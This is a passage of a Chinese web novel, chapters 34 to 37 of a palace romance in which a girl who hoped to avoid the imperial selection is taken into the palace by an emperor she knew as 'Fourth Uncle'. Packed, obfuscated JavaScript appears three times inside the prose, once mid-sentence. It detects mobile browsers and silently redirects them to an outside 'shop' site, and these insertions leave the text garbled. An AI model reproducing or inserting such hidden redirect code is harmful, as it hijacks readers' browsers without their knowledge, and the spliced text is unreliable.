安宁痊愈后,严嬷嬷恢复了授课。几姐妹又开始了规律上学的日子。顾珂柔冷眼旁观妹妹,那日她同她倾诉心事之后,倒也守住了对她的承诺,每日里安安静静地呆在国公府,大门不出二门不迈。 为此曹婉还很是担心了一阵,但见安宁同两个姐妹平日里说笑,严嬷嬷也夸赞她上课专心了许多,慢慢也就放下了心来。 这般到了十二月,眼看着便要过年,宫里突然传出消息,年后要增开一次选秀补充后宫。顾珂柔十一月就满了十五,安宁的生日在一月。这一次顾家两姐妹都落在了选秀的名单之上。 苏婉仪备了重礼托到严嬷嬷手中,请她好生教导顾珂柔宫规和礼仪,顾珂柔似乎早就做好了备选进宫的准备,听说增开选秀的事情,心绪并没有太大的波动。 安宁却十分不愿。 “祖母。”安宁求到曹婉面前,“我不想进宫,求您上个帖子,为我报个病退行不行?” 曹婉放下手中的书信。李月桦写了家书用猎鹰送了信到京城,顾林书并不愿意女儿进宫,便想借着此前落水的由头,给安宁报一个病退免选。如此倒合了这小妮子的心意。 “好。”曹婉安慰地轻拍安宁的胳膊,“你父亲也是这个意思。让你祖父上个折子给你报一个免选,你且安心等着消息。” 安宁眉开眼笑:“祖母真好!” 岂料安宁抱病的帖子送进宫没几日,宫里便指派了一个太医到保国公府替她问诊。 35. 34 太医诊脉完毕便同曹婉辞行。曹婉问道:“大人,不知是哪位贵人着您下来替我家宁儿问诊?” 太医谨慎开口:“是宫里传出来的口谕,老夫只管听命行事,是哪位贵人却并不知。” 曹婉皱着眉头。上抱病的折子,便是臣下祈求替自家孩子免选的意思。此事无法明说,属于宫里宫外心知肚明约定俗成。历来皆是如此,万万没想到到了安宁这里却出了这样的岔子。 曹婉看着太医:“大人,我家宁儿的身子……” “老夫来前在太医院看过脉案。县君前些日子落水,受惊受寒,且有高热惊厥之症,一度十分凶险。不过老夫今日诊脉所见,县君身体调养得极好,已无大碍。”太医朝着曹婉行礼,“国公夫人,老夫需得如实回禀。” 曹婉点了点头:“这个自然。” 送走太医曹婉陷入了沉思,宁儿抱病免选的路眼看着走不通。宫里到底是哪位贵人目光落到了她身上? 曹婉为了安宁,向宫里递了折子,求见太后。 十几年过去,王太后早已不是当初那个被宠妃排挤幽居深宫的皇后。十几年的执政生涯让她有了威严的帝王之相。曹婉不敢直视,按足规矩行了叩拜大礼。王太后用眼风示意身边的人,掌事太监王公公赶紧上前搀扶曹婉起身,又扶了她到一旁落座。 王太后看着曹婉,微笑道:“国公夫人身子可好?” 曹婉恭敬回答:“劳太后挂心,臣妇一切都好。” 王台后点了点头:“如今入了冬,天气一日冷过一日,咱们年纪都大了,要好好爱惜自个儿的身体。” 曹婉应下:“是。” 王太后和气地同曹婉寒暄了几句:“国公夫人今日进宫,所为何事?” 曹婉站起了身:“不瞒太后,臣妇是为了自个儿的孙女而来。” “为了安宁县君?”王太后心中了然,“听闻前些日子县君落水,如今可安好?” 曹婉心里咯噔一下:“太医已经替宁儿诊过脉,如今身子好多了。” 王太后关切道:“到底年轻,身子骨恢复得快,只是还要好好调理,不要落下病根。” 曹婉鼓起勇气:“宁儿这孩子,打小在开阳城,被我那女儿女婿惯得不成样子,闯下了不知多少祸事来。如今将她拘在府里,也是想多让她学一学规矩,板一板她的性子。” “这我有所耳闻。”王太后笑道,“早些日子王庭上折子求娶她为世子妃,这丫头拿鞭子痛打了王庭世子少布一顿,实在是解气!” 曹婉越发不安:“臣妇惶恐,孩子骄纵……” “哪里骄纵了?”王太后的笑容收了些,淡淡地开口,“这般天真直率的性情,我很是喜欢。”她看着曹婉,“说起来,县君是不是到年龄了?该在这一次的选秀名单上了吧?” 曹婉应道:“是……” “好,很好。”王太后微微一笑,“宫里实在闷得紧,有了这孩子也能活泛不少。就怕你舍不得,予了这孩子给我这老太婆作伴。” 曹婉的心一路下沉,太后这意思,指明了要安宁进宫,她还如何开口?当下只能心里含苦应下:“有太后垂爱,是宁儿的福气。” 国公府里,一只喜鹊落在海棠枝头,偏头看了眼室内,又展翅非走。 “进宫?!”安宁瞪大了眼睛,不敢置信地看着祖母,她着急地上前拉住曹婉的手,“祖母,前几日不是说了抱病免选?!” 曹婉看着眼前的安宁,抬手轻轻抚摸她的头发:“圣命难为啊!宁儿。原是想着让你抱病,可你入了宫里贵人的眼。祖母舍了这张老脸去面见了太后。”她无可奈何地摇了摇头。 安宁回房大哭了一场,将自己关在屋子里好几日闭门不出。 顾珂柔闻讯来开解妹妹,见她已经哭湿了枕头,眼睛肿得像核桃。她这几日不吃不喝,只穿着白色的寝衣,长发散乱神情仄仄,短短两三日又消瘦了许多,小脸更如瓜子一般,我见犹怜。 顾珂柔让丫鬟们都退了下去,关好了房门侧身坐在床榻边向着安宁伸出了手,安宁鼻子一酸又落下眼泪,握住姐姐的手偎过去,靠在她的肩头轻轻抽泣。 顾珂柔轻声开口询问:“你难过,是因为进宫,还是因为……他?” 安宁垂下眼眸,泪珠挂在长长的睫毛上:“姐姐,我这些日子一直没有出门,再没见过他。” 顾珂柔轻声细语:“你是否想着,若是真进了宫,至此同他此生再难相见,还想着出去同他见最后一面?” 她说中了安宁的心思。 对于伯言,安宁心里的感受很复杂。 他是她第一个喜欢上的男人,他危险神秘、充满掠夺和进攻性,让她觉得不安,却又深受他吸引。可他展露在她面前的冷酷和某些她并不了解、只是直觉里觉得不对的东西又让她对他望而却步。 原本再这么过上一段时日,或许慢慢地真能将他淡忘。可如今要入宫的消息就像一座大山一样压下来,反而让她对他生出了强烈的不舍,和想见他的冲动。 “就是再见一面又如何?”顾珂柔轻轻替妹妹擦着眼泪,“再见一面,就能做了断吗?不过是徒增更多的悲伤和不舍。他若是个好的,再见一面,此生一别两宽,你日后想起来徒增伤痛。他若不好,你冒着大不韪去见他,丢了名声甚至一时糊涂犯下大错……偌大的国公府和太师府怎么办?祖父祖母,我们的父母怎么办?” 安宁听着姐姐的话语,眼泪越发汹涌。 顾珂柔轻轻拍着安宁的背:“别怕,还有我呢,我会一直陪着你。” 李月桦听闻女儿要进宫的消息,风尘仆仆赶回了京城。 一见到女儿,曹婉十分内疚:“也怪我,想着舍出这张老脸进宫去为宁儿求上一求,反而弄得没了退路。倒不如赶紧为她定下一门亲事,也不用进宫了。” 李月桦长叹一声:“要怪只能怪我和林书,总想着要仔细斟酌宁儿的婚事才拖到了现在。若是早些定了亲,如何会被选秀弄得措手不及?”她安慰着自己的母亲,“短短半月多的日子,又哪儿能仓促为她定下一门婚事?并非是您的错。” 安宁见到母亲,又扑到她怀里大哭了一场。 可无论她愿与不愿,进宫的事情于她已是定局。 过完年安宁度过了自己十五岁的生辰,宫里增开选秀的正式旨意下达,顾珂柔、顾安宁姐妹两都通过了初选,在二月初一这日被青棚宝顶的马车接进了宫。 不同的是顾珂柔是以秀女的身份入宫,尚且需同其她秀女们一道在宫里小住上一月经过二轮遴选,在三月初一那日参加最后面见太后和圣上的殿选再决定去留。安宁已有封号,被封为宁昭仪,赐住毓德宫。 太师府后湖便能看见依着山势座落在山脉上的皇宫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一个明黄的高大身影进了院子,走到了海棠树下与安宁隔窗相望。恰逢一阵风起,吹起了屋檐树枝上的积雪,碎雪纷纷,恍若梦境。 安宁快步跑到檐下,一时间竟呆住了。满院子的人纷纷下跪:“圣上万安!” 他越过众人走到她面前微笑着看着她,一如往日温暖和煦。安然恍然自己应该行礼,正要福身,他伸手阻止了她,随即牵起她的手,同她一起进了内室。 “这里布置得,你可还喜欢?”他环顾了一圈室内,“我嘱咐内务府好生布置,此前我来看过,总觉得好似花哨了些。又想着你应该喜欢这些鲜艳的东西,就想着等你来看了再做决定。” 他扭头温和地看着她,“等开春了,我再命人在后院里挖个池塘,种些碗莲养些锦鲤。引御花园的水流进来。你不是喜欢看鱼?毓德宫离养心殿近,但和旁的宫殿比起来略小一些,景致也略微欠缺。秋日里几树西府海棠开得倒是极盛,眼下就略显冷清。你若是觉得闷,可以去御花园逛逛,离这里倒也不远。” 安宁终于回过了神:“四叔!你,你怎么是圣上?!” 冬日的暖阳落在他身上,映亮了他胸前盘踞在祥云中的金色祥龙刺绣。他眼里满是笑意:“我为何不能是?” “可……”安宁想着那时自己问大伯父的问题,“你在府里的时候,大伯父去朝会,说圣上在宫里啊!” 他牵住她的手,带着她往外走:“你同我来。” 36. 35 两人一路漫步走过长廊,阳光穿过飞檐和雕花的盘饰,在他们身上时不时洒下温暖明亮的光斑。安宁抬头看着他,第一次发现他比她认知里的还要高,这么站在他身边,她还不到他的肩膀。他刻意放缓了脚步和她并肩而行,一路的宫女太监纷纷下跪,侍卫们也行礼避让在一旁。 他似乎还是他,和太师府里的他比起来,却又凭生了许多威严和距离。 他带着她到了黄极殿,登上白玉丹壁台,从侧门进了殿内。大殿内庄严肃穆,其上牌匾高悬,正中放置着纯金的龙椅和影壁,龙椅四周竖立着六根盘龙金柱,地面是光可鉴人的金砖墁地。而在龙椅前约莫一丈的位置,立着一张六折一丈高的屏风,上面双面刺绣着龙腾飞天,从正面看去,只能隐约瞧见后面的景象。 他看着大殿正中的龙椅对她道:“这里就是大朝会所在。大朝会不议政事,常会议政并不在此处,在奉天殿。如今母后垂帘听政,是以平日里王座前都立着屏风隔绝视线。” 看着她不解的样子,他带着她到了后殿,推开一间房门,屋子里摆放着一具木雕。这木雕和人等身大小呈坐姿,头戴冠冕,身披龙袍。木雕没有面目,通体涂做朱红色,莫名地阴森。安宁冷不丁看见这木人唬了一跳,啊了一声躲到他身后,他安慰地轻轻拍了拍她的背:“别怕,不过是个木头做的替身罢了。” 安宁这才仔细打量那木雕:“难不成大朝会上,竟然是这个?!” “嗯。”他面无表情地看着那木雕,“大朝会不过是接受礼贺朝拜罢了,上面坐着什么东西,有那屏风挡着,外面的文武百官并不能看清楚。旁的都有大伴循例传话,便是尊木头又有何妨?” 这木雕是傀儡,他何尝不是个傀儡?他与这木雕并无不同。 他压下心中种种,收回视线看向她,眼底深处的冷意消散,又化作和煦温柔的目光。他领她离开了阴森森的大殿,一路向西而行。 “四叔……不,圣上。”安宁改了称呼,“我祖父府里的人,可知您是圣上?” “没有旁人,你若觉着叫我四叔顺口,不用改称呼。”他道,“太师自然是知晓的。旁人却不知,我假借路王叔家四哥的身份,便是为了掩人耳目。” 她撅起嘴:“那朱思不是你的真名了?” 他道:“我本名朱弘辉,朱思是路王叔家四哥的名字。”他看了她一眼,“不可直呼朕的名字。”他顿了顿,“我也行四,你叫我一声四叔倒也不冤。” 两人一路聊一路走,顺着甬道又走回了毓德宫。毓德宫距离养心殿极近,不过三两步的距离,养心殿又居西紧邻他的寝殿乾清宫,他将她安置在了距离他最近的位置。 安宁突然回过神:“你那时说家里要你娶妻,正是第一次选秀的时候。”她握拳拍了一下手掌,十分懊恼,“我真傻,竟然没有想通其中的关窍。” 他微笑着看着她:“你既然认为皇帝在宫里,无论如何也不会想到家里的会是我。” 她突然抬起头:“那……姚五被指婚给少布,真是你替我出气是不是?” 他笑而不答,当先进了殿门。她在后面小跑几步追上:“还有……不许我抱病免选,也是你对不对?” 他停下脚步,转身神情莫测地看着她:“我若是放了你免选,你是不是就天高任鹏飞,海阔凭汝跃了?” 安宁一窒,一时间竟不敢回答。 他轻哼一声,在临窗的大炕上坐下,向她伸出手:“过来。” 她迟疑了一下,慢慢走了过去。他握住她的手,拉着她在身边落座,叹息一声:“我在太师府,见你今日同人约了在侯府打马球,明日又约了人湖中泛舟。你口口声声当人只是朋友,未曾心悦于他,可若再不让你进宫,你怕是就要被那个‘朋友’拐走了。” 安宁的脸一瞬间通红,转眼又变得苍白没有一丝血色。她不知道关于伯言他知道多少,抬头仔细打量着他的神色:“四叔……” 他也正定定地看着她:“嗯?” 他一如既往的温柔,神情中没有丝毫责备,漆黑的眼眸中清晰地倒映出她的身影。她沉到底僵硬的心又恢复了跳动。那一瞬间她浑身冰寒,只觉血液在身体里凝滞,他提到湖中泛舟的时候,她甚至以为他知道了什么。 看来不过是她做贼心虚,他指的,应是她第一次被约去长兴侯府在南湖泛舟之事。 她的脸上缓缓恢复了血色,低下头:“我……” “知好色而慕少艾,他长得好看,你一时喜欢也是有的。”他大度地开口,转而立刻又道,“以后不许了。” 她低着头没说话。 他还握着她的手,他轻而易举地将她的手包裹在自己的掌心。他的手温暖、干燥,莫名有种安定人心的力量,十分舒适。 “听说你知道要进宫,在家里关着门哭了好多场。”他先是取笑她,然后声音温柔了下来,“现在还怕不怕?” 她摇了摇头,又点了点头。 “别怕。”他轻轻揽着她的肩让她靠在他肩头,“一切有我。” 次日一早,一缕阳光投入室内,正好穿透幔帐的缝隙照在安宁的脸上,让她缓缓醒了过来。 她打了个哈欠,从被子里伸出双手伸了个懒腰。这一觉睡得踏实又安稳,她一时间竟然忘记了自己身在何处,开口唤道:“白蔻,沉香!” 她看清了眼前宽阔厚重的金丝楠木拔步床,看清了深玫红用金线绣着缠枝花纹的幔帐,也看清了坠着珍珠的金丝流苏,恍然自己已经不在太师府,如今在毓德宫。 出乎意料的是,幔帐被揭开,沉香和白蔻一身大宫女的装扮,正笑盈盈地站在那处:“昭仪晨安。” “白蔻!沉香!”安宁坐起了身,高兴地拉住两个贴身丫鬟的手,“你们何时进的宫?!” “前日就被接进宫了。”沉香道,“被送去了陈嬷嬷那处仔细记下了些规矩,今日才过来伺候昭仪。” 秀女不许带侍女进宫,安宁有昭仪的封号,可以从家里带两个丫鬟,朱弘辉便命人将她的两个贴身丫头从国公府接了来。 主仆三人正在叙话,管事宫女白薇进了内室,先是矮身行礼,然后才恭敬的开口:“禀昭仪,圣上特地令人过来传了口谕,今日戌时请昭仪去乐成殿。” 白薇刚退出去不久,又命小宫女来传话,王嫔和姚贵人来了。 安宁匆匆去了前殿,只见一个身材高挑容貌端丽的宫装女子正坐在那处,她一身华贵气度,气质雍容。她身旁站着一个同姚五有几分相似的女子,见她出来正不错眼的打量着她。安宁快走两步上前行礼:“见过王嫔,王嫔日安。” 王嫔笑着起身扶了她起来:“你我姐妹,何必如此多礼?” 一旁的姚贵人上前同安宁见礼:“见过宁昭仪,昭仪日安。” 安宁伸手虚扶了她一把,仔细看了她两眼,知晓她便是定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534295|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国公府那个被留牌子选进宫的姚四,正是指婚给少布那姚五同父异母的姐姐。 和尖酸刻薄骄横轻狂的姚五姚六不同,姚四容貌温婉,举止有礼进退有度,看着人时眼神不躲不闪,温柔大方。 安宁和两人分了主次落座:“该我去给姐姐请安,倒让姐姐先行一步,是我的不是。” “如今这宫里,统共就这么几个人,大多数的宫殿都空空荡荡,好容易多了你一个,我们正欢喜得紧。你去看我还是我来看你,又有什么关系?”王嫔道,“是我听说妹妹你进了宫,按捺不住好奇,这才拉了姚贵人陪我抢先一步过来。” 她眼里含着笑,实则在不动声色地打量着安宁和毓德宫。 她居永和宫,是如今宫里的贵人唯一住在东六宫的一位,周嫔住在启祥宫。她二人都是两宫的一宫主位,居于正殿。安宁虽只有昭仪的位份,却独居一宫且居于正殿。 毓德宫同另两宫比起来不大,可距离养心殿步行只有几步的距离,距离乾清宫也不过半刻钟的路程,在明帝触手可及之处。 毓德宫的管事宫女白薇,原是在养心殿御前伺候的大宫女,管事太监陈公公,也是圣上身旁黄大伴的宝贝徒弟。单看她身旁伺候的这两人,便让人不敢对她等闲视之。 再看宫里的布置,无论是她的永和宫还是周嫔的启祥宫,都无法与安宁的毓德宫相提并论。 毓德宫新近整修过,黄琉璃的房顶阳光下散发着华彩,红色的宫墙映在白雪之上。一路行来院里的一草一木皆被静心修剪,呈现着最美好的一面。 屋子里触目所及,尽是厚重的金丝楠木,其余各宫用的都是梨花木,完全无法与之相提并论。在旁人那难得一见的奇珍,在毓德宫也不过被摆在多宝阁最不起眼的一个角落,屋子里各式珍宝琳琅满目数不胜数。她不动声色地看了眼一旁的姚贵人,贵人耳间那对耳环上缀的珍珠,甚至远不如安宁房间里幔帐流苏上用的珠子的大小和成色。 她看向脚下踩的羊毛地毯。这是海外进贡的珍品,整个宫里只有太后那里和圣上的寝宫有,然后便是安宁这。 明帝毫不掩饰地将安宁捧在了手心。 她看着安宁娇俏的容貌,果然是个美人儿,姿色远胜旁人,也不怪圣上会对她如此偏宠。 她压下心底一瞬间泛起的酸涩。她想起了太后姑母的话,正宫母仪天下,嫔妃以色事人。以色事人者,色衰而爱驰,爱驰而恩绝。她要走的是中宫的通天大路,不可被路旁艳丽的花朵刺了眼睛。毕竟主位只能有一人,那艳丽的花朵却会不断盛开,一年一年层出不穷。 想到这里她看着安宁笑得越发亲近:“我今日虽是第一次见着妹妹,心里却觉得十分亲近,日后你我要多走动才好。” 安宁心中若有所悟。四叔曾提起,家里母亲在母族为他选定了一位女子,只是还没有最后落定。看来眼前这位太后母族出身的王嫔,便是未来皇后的人选。 她笑着回答:“我也想多与姐姐亲近。” 王嫔和姚贵人在安宁这坐了小半个时辰便回了宫。安宁心里惦记顾珂柔,带着白蔻和沉香去储秀宫寻仍在学规矩的姐姐。 朱四叔是圣上这件事压在她心里,她迫不及待地想和姐姐分享。 她刚走出毓德宫的大门,却遇到了朱弘辉的銮驾,赶紧避让到一旁矮身行礼。他下了銮驾牵着她的手扶她起身:“你可是知道朕要来,特地出宫来迎?” 37. 36 她摇头:“我正要去储秀宫寻姐姐。” 朱弘辉身后的黄大伴忍俊不禁噗嗤一声笑出了声。朱弘辉扭头淡淡地看了他一眼,黄大伴赶紧道:“昭仪一如往昔天真可爱,实在让人心喜。” 他牵着她的手往回走:“你如今是主子,想要见谁,宣她来见便是,哪儿有你自己跑过去的道理?” 后面的黄大伴闻言招手叫来身旁的小太监,轻声道:“去储秀宫,传秀女顾珂柔来毓德宫觐见。” 她反手挽住他的胳膊:“你不是让我戌时去乐成殿见你?我以为你今日不会过来。” 他原本是这般打算,可想着她就在身边,忍不住过来寻她:“想见你,便过来了。” 他说的云淡风轻,她面上微微一红,松开了挽着他胳膊的手。他却不容她离开,握着她的手一紧。 屋子里地龙烧得正暖,一进内室温暖如春。两人在临窗的大炕上落座,朱弘辉等沉香上完茶退下去才开口:“我打算给你大姐姐指一门婚事。路王叔家的四哥人极好,把你姐姐指给他可好?” “真正的朱思吗?”安宁看着他,“四叔,你不打算留大姐姐在宫里?” 她问得极为自然,丝毫没有别的情绪在里面。他反问:“你想留你大姐姐在宫里?” 安宁眉头皱了皱:“我看家里的意思,一直准备的都是让她入宫,大姐姐也一直为此做着准备,在祖母那时,她同严嬷嬷学习便十分认真。” 他问她:“你怎么想?” “我?”她不解地看着他,“这事儿不应该问大姐姐怎么想么?” “你先弄清楚你自己怎么想,再去问你大姐姐作何打算。”他道,“你若是觉得在宫里寂寞,想让你大姐姐留在此处陪你,那便让她留下也无妨。不过你要想好,留下,你们姐妹二人会共侍一夫,我看在你的份上,自然也得优待你姐姐几分,你可愿意?” 她回答得仍是十分自然没有别的情绪在里面:“你对姐姐好,我自然愿意。” 见她这般,他心头泛起一丝无奈,在心里叹了口气。在她眼里,他还是那个朱四叔,尚未有别的情愫。他压下这丝心绪:“若是将她指婚给了四哥,旁的不说,她定然能过上自由自在自个儿做主的好日子。四哥日后也有爵位,王叔百年后分府,她就是当家主母,不用看旁人脸色。” 安宁闻言十分心动,斟酌片刻:“这事儿我做不了主,要同大姐姐商量。” 她是真心爱顾珂柔这个姐姐,并不会因为一己私利便想留她在宫里。她所思所想还是顾珂柔如何选择能过得更幸福,没有那些盘算算计。他看着她的眼神越发柔和:“那你仔细考虑吧。” 两人正说着话,白薇进来传话:“圣上,昭仪,顾秀女来了。” 安宁看着朱弘辉笑出了声:“姐姐看见你,还不知得怎么吃惊呢!”她对白薇道,“快请她进来!” 顾珂柔来的时候便知圣上在安宁的院子里,屏息敛目进了房间,规规矩矩行礼:“臣女参见圣上,圣上万岁万岁万万岁。臣女拜见宁昭仪,昭仪日安。” 安宁过去扶姐姐起身,笑着拉她去看朱弘辉:“姐姐,你看看这是谁?” 顾珂柔抬头,见面前坐着一个穿着一身明黄绣着金龙皇袍的男子,正是府里见过的朱思。他如往日一般看着淡漠,更多了高高在上的威严和压迫。她心里一惊低头身子迅速矮了下去行礼:“臣女逾越,请圣上赎罪!” “无妨。”朱弘辉开口,目光落到安宁身上便多了许多温度,“既然你姐姐来了,你们二人便好好叙旧。朕先走了。”他站起身,又忍不住叮嘱她,“不要忘记戌时去乐成殿。” 安宁抓着姐姐的手冲他甜甜一笑:“我记得。” 顾珂柔再要行礼恭送,朱弘辉微抬手制止了她:“陪你妹妹说话吧,不必多礼。” “姐姐,”等朱弘辉离开,安宁拉着姐姐落座,“四叔真的是圣上。” 顾珂柔见到他一身龙袍,再想到宫里不允许安宁抱病免选的事情,心里就明白了八九分。再转念想到自己,一时有些怔忡。 她何等聪慧?家里一直教导她,走的便是准备入宫的路子。再想想那时圣上总以朱思的身份留在太师府,可见祖父心里深处的盘算。 但是,人算不如天算。 想到以前在宫外圣上对安宁的态度,再看眼前华贵异常的宫殿陈设,圣上对安宁的偏爱不加掩饰。安宁已经轻而易举地得到了家里原本要她去争取的东西,她一时间觉得空落落的,那她以后的路应该怎么走? “姐姐。”安宁问,“储秀宫好吗?你在那边住得可还习惯?” 秀女们统一住在储秀宫,事事均需亲力亲为,每人只有一间狭小的屋子,水房和旁的都需共用。 不管选进宫的这些秀女在外时家世如何,在宫里都是最低等的秀女。她们当中,一部分会因通过不了二轮遴选被送回去,一部分会留下来成为宫里的侍女或者女官,一部分会被指婚给宗室,只有极小部分能够被纳入后宫。 她不愿和妹妹提起储秀宫的种种,点头道:“挺好的。” 白蔻端来一盘果子,安宁推到姐姐面前:“你尝尝这个,挺好吃的。听说是从海外进贡来的果子,有股奇香。” 顾珂柔扒了一小颗,入口果然带着一股甜腻的奶香,十分可口。 阳光从窗户照进来,正好映亮了临窗大炕上的这一小块。安宁坐在一整块白色的裘皮上,浑身沐浴在金色的阳光中,眉目间安稳恬静。她期待地看着她,顾珂柔点点头:“好吃。” 她听她说好吃,就像得到了鼓励的小孩子一般,动手一粒一粒扒开放到她面前的瓷碟里:“一会儿就着奶茶吃更香。” “姐姐。”安宁自然的提起,“方才你来之前,四叔同我说,他打算将你指婚给路亲王府家的四公子,也就是真正的那个朱思。我想问问你自己,是愿意指婚,还是留在宫里。四叔亲口承诺,你若是留在宫里你我作伴,他也一定会好好待你。” 顾珂柔怔住。安宁见她一动不动,抬头看她,她也正怔怔地看着她。安宁试探地喊了一声:“姐姐?” 顾珂柔稳住心头翻涌的心绪,轻声问安宁:“你希望我留在宫里,还是希望我被指婚?” 安宁叹口气:“我看家里的意思还有你做的准备,都是为了进宫。所以我听四叔说指婚,就和他提了这个。可四叔说,若是指婚给路亲王府,朱思日后也有爵位,路亲王百年以后分府,你就是当家主母,不用看旁人的脸色,可以过自由自在自己做主的好日子。这是你的终身大事,我拿不定主意,所以只好问你。” 顾珂柔听了安宁说的话,心头压着的那块石头尽去,她拉住了妹妹的手。是她一时间想左了,安宁所思所想都是为她。 安宁短短几句话,也让她看了通透。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547072|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 圣上并无意将她留在宫里,或许是以为安宁希望她留下做个伴,所以才爱屋及乌对安宁承诺也会对她好。他本心是想将她指婚出去。 可是去是留,又哪儿是她自己能做决定的事情? 她轻声回答妹妹:“你让我好好想想。” 安宁留姐姐一起用了午膳才命人将她送回储秀宫。眼瞅着快到戌时,安宁上了软舆,前往乐成殿。 冬日里天黑的早,虽然才到戌时,天色已经漆黑如墨。 安宁到了乐成殿殿门前下了软舆,眼前的抱厦下挂着整整齐齐的三排羊皮绘花鸟纹垂流苏宫灯,灯火泄地,将殿门前照得清清楚楚。洞开的大门后是一方影壁,越过影壁可见院里灯火璀璨。 黄大伴亲自候在门口,看见安宁笑着躬身上前来迎:“昭仪来了?圣上在里头呢,昭仪请随我来。” 白蔻和沉香原本要跟着上前,黄大伴脚步微顿看了她二人一眼,两人顿时明悟,在殿门外停下了脚步。 黄大伴将安宁送过影壁,躬身退下。安宁停下脚步打量着眼前的一切:偌大的院子正北方是戏台,戏台上灯火通明但不见一人。戏台正前方居中摆放着一张偌大的梨木罗汉榻,榻上铺陈着厚重的整张熊皮,朱弘辉正在其上斜倚着, “你不是爱看《白蛇传》?”见着安宁,朱弘辉微笑,“来看看钟鼓司排的这个戏,和外面的戏曲班子有什么不同。” 他握着她的手拉她上榻靠坐在他身旁。她刚落座,戏台上就传来一声鼓响,角色们手里舞动着一丈多长的水袖上了场。 天气寒冷,院子里空阔。虽然熊皮保暖,她仍冻得小脸通红。璀璨的灯火让她的眼睛和脸颊都浮着一层盈盈的光芒。她专注的看着戏,他的视线胶着在她身上,她有所察觉扭头看他,他又淡然地将视线转回了戏台上。 慈宁宫里,王嫔侧着身子斜坐在床榻边,正在小意地替王太后捏腿。窗外隐隐约约传来阵阵金鼓交鸣之声,让她禁不住侧耳去听。王太后扶着额头皱眉问身边的女官:“这都什么时辰了,哪里还这么吵闹?” 女官回道:“回禀太后,这是圣上同宁昭仪在乐成殿看戏。” 王太后拖长声音哦了一声,不再开口。 王嫔偷眼去看太后姑母,见她面上神色未动不再过问此事,她没忍住,轻声道:“姑母,听说乐成殿重修靡费甚大?” 王太后抬眼看向她,她面上表情没有一丝波动和改变,王嫔心里却咯噔一声,立刻停手下榻跪了下去:“臣妾知错。” “你是个懂事的。”王太后淡淡道,“心思放在你该放的地方。” 王嫔应下:“是。” “再过几日,敬事房就要安排你们侍寝。”王太后道,“你是头一个。好好同圣上相处,心思用正,旁的那些东西不要去想,也不用去想。” 王嫔恭敬回答:“臣妾谨记太后教诲。” 王嫔出了慈宁宫,站在宫门前抬头看向乐成殿的方向。在宫外的甬道上,那处的鼓乐声听得更清楚,在夜里空冷的皇城上空回响。那边的夜空灯火璀璨,映亮了那一方天空,比别处要明亮许多。那里热闹得不像深宫,同此处仿佛不是一个世界。 女官上前扶住王嫔的手:“主子,上轿吧。” 王嫔紧了紧身上的披风上了软舆,她到底年轻气盛,没有压住心里那些翻涌难明的情绪,吩咐道:“去乐成殿。” 38. 37 戏台上白娘子寻夫到了金山寺,许仙背对着她跪在佛像前一动不动,任凭她如何哀求呼喊都没有半点回应。 许仙被法海施法封了五感,白娘子并不知情,以为是丈夫憎恨她是蛇妖,一时间肝肠寸断。 安宁看得心里难受,朱弘辉见状伸手轻轻揽住她,让她靠在自己肩头。安宁抽了抽鼻子,强忍泪水。他低声取笑:“也不是第一次看这出戏,怎么还如此伤感?” “唉。”安宁长叹一声,手捶了捶自己胸口,“每次看到这里,都觉得心头闷闷的。” 她这般伤春悲秋的模样惹他怜爱,他问她:“冷不冷?” 她抬头看向他,鼻尖不知道是因为想哭还是寒冷冻得通红:“冷。” 朱弘辉开了口:“大伴。” 他声音不大,在外头候着的黄大伴却第一时间到了他身旁:“奴才在。” 他吩咐:“去取朕的大氅来。” 黄大伴躬身应下退了出去,刚到大殿门口,就看见了王嫔的软舆。他上前行礼:“娘娘,夜深天寒,您怎么到这儿来了?” 里面正演到了白娘子同法海斗法,一时间锣鼓宣天。王嫔看了眼殿内:“听见这边热闹得紧,所以就过来看看。”她软语轻问,“大伴可否替我向圣上通传一声?” 黄大伴躬身赔笑:“娘娘还请稍候。” 黄大伴取了大氅入内,向明帝通传了王嫔在殿外,朱弘辉想着或许是王太后让她来传话,便宣了她进殿。 乐成殿是两进的院落,前院空荡荡一个天井,入目便是戏台和戏台前的罗汉榻。明帝斜倚在榻上,安宁靠坐在他身旁。榻上铺着深色的整块熊皮做的垫子,散放着金丝刺绣的圆柱靠枕。 王嫔的视线落到安宁身上,心头一震。她整个人裹在盘龙刺绣的大氅里,只露出一张削瘦的小脸,越显娇美动人。明帝正耐心地替她整理着大氅,亲自动手为她扣着领口的盘扣。 王嫔迅速收回视线跪拜下去:“圣上万安。” “你怎么过来了?”明帝看了她一眼,“可是母后有什么嘱咐?” 王嫔低头道:“臣妾惶恐,是臣妾听闻这边鼓乐宣鸣热闹得紧,一时按捺不住好奇,擅自前来,请圣上恕罪。” 明帝没有说话,看着戏台上许仙终于解开法术恢复了五感,白娘子同法海斗完了法,满身伤痕地站在他面前。许仙背着的双手里握着一把尖刀,戏文已经演到了最后,眼看便要结局。 